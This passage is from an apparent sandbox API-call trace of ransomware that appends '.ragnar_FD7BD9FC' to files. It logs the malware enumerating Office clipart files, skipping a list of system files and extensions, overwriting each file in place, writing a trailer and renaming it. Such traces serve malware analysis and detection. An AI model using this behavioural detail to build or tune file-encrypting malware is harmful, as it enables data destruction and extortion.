nNumberOfBytesToLockHigh=0x0) returned 1 [0091.770] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.770] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.770] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.770] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.770] GetProcessHeap () returned 0x580000 [0091.770] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.770] CloseHandle (hObject=0xf4) returned 1 [0091.770] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" [0091.770] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.ragnar_FD7BD9FC" [0091.770] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0091.771] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.771] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01575_.WMF" | out: lpString1="SO01575_.WMF") returned="SO01575_.WMF" [0091.771] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF") returned=".WMF" [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="autorun.inf") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="boot.ini") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="bootfont.bin") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="bootsect.bak") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="bootmgr") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="bootmgr.efi") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="desktop.ini") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="iconcache.db") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="ntldr") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="ntuser.dat") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="ntuser.ini") returned 1 [0091.771] lstrcmpiW (lpString1="SO01575_.WMF", lpString2="thumbs.db") returned -1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.771] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf")) returned 0x20 [0091.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.772] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43174) returned 1 [0091.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa89d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.772] GetProcessHeap () returned 0x580000 [0091.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.772] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.774] VirtualAlloc (lpAddress=0x0, dwSize=0xa8a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.774] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa8a6, lpOverlapped=0x0) returned 1 [0091.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.776] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa8a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.776] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa8a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa8a6, lpOverlapped=0x0) returned 1 [0091.776] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa8a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.776] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa8a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.777] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.777] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.777] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.777] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.777] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.777] GetProcessHeap () returned 0x580000 [0091.777] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.777] CloseHandle (hObject=0xf4) returned 1 [0091.777] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" [0091.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.ragnar_FD7BD9FC" [0091.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.778] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0091.778] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.778] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01777_.WMF" | out: lpString1="SO01777_.WMF") returned="SO01777_.WMF" [0091.778] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF") returned=".WMF" [0091.778] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.778] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="autorun.inf") returned 1 [0091.778] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="boot.ini") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="bootfont.bin") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="bootsect.bak") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="bootmgr") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="bootmgr.efi") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="desktop.ini") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="iconcache.db") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="ntldr") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="ntuser.dat") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="ntuser.ini") returned 1 [0091.779] lstrcmpiW (lpString1="SO01777_.WMF", lpString2="thumbs.db") returned -1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.779] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf")) returned 0x20 [0091.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9574) returned 1 [0091.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x255d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.780] GetProcessHeap () returned 0x580000 [0091.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.780] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.901] VirtualAlloc (lpAddress=0x0, dwSize=0x2566, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.901] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2566, lpOverlapped=0x0) returned 1 [0091.932] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.932] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2566, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.932] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2566, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2566, lpOverlapped=0x0) returned 1 [0091.932] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2566, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.932] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.933] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.933] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.933] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.933] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.933] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.933] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.933] GetProcessHeap () returned 0x580000 [0091.933] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.933] CloseHandle (hObject=0xf4) returned 1 [0091.933] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" [0091.933] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.ragnar_FD7BD9FC" [0091.933] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0091.935] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.935] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01785_.WMF" | out: lpString1="SO01785_.WMF") returned="SO01785_.WMF" [0091.935] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF") returned=".WMF" [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="autorun.inf") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="boot.ini") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="bootfont.bin") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="bootsect.bak") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="bootmgr") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="bootmgr.efi") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="desktop.ini") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="iconcache.db") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="ntldr") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="ntuser.dat") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="ntuser.ini") returned 1 [0091.935] lstrcmpiW (lpString1="SO01785_.WMF", lpString2="thumbs.db") returned -1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.935] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf")) returned 0x20 [0091.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.936] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27816) returned 1 [0091.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6c9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.936] GetProcessHeap () returned 0x580000 [0091.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.936] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.938] VirtualAlloc (lpAddress=0x0, dwSize=0x6ca8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.938] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ca8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6ca8, lpOverlapped=0x0) returned 1 [0091.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.939] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ca8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.939] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ca8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6ca8, lpOverlapped=0x0) returned 1 [0091.939] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ca8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.939] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ca8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.940] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, 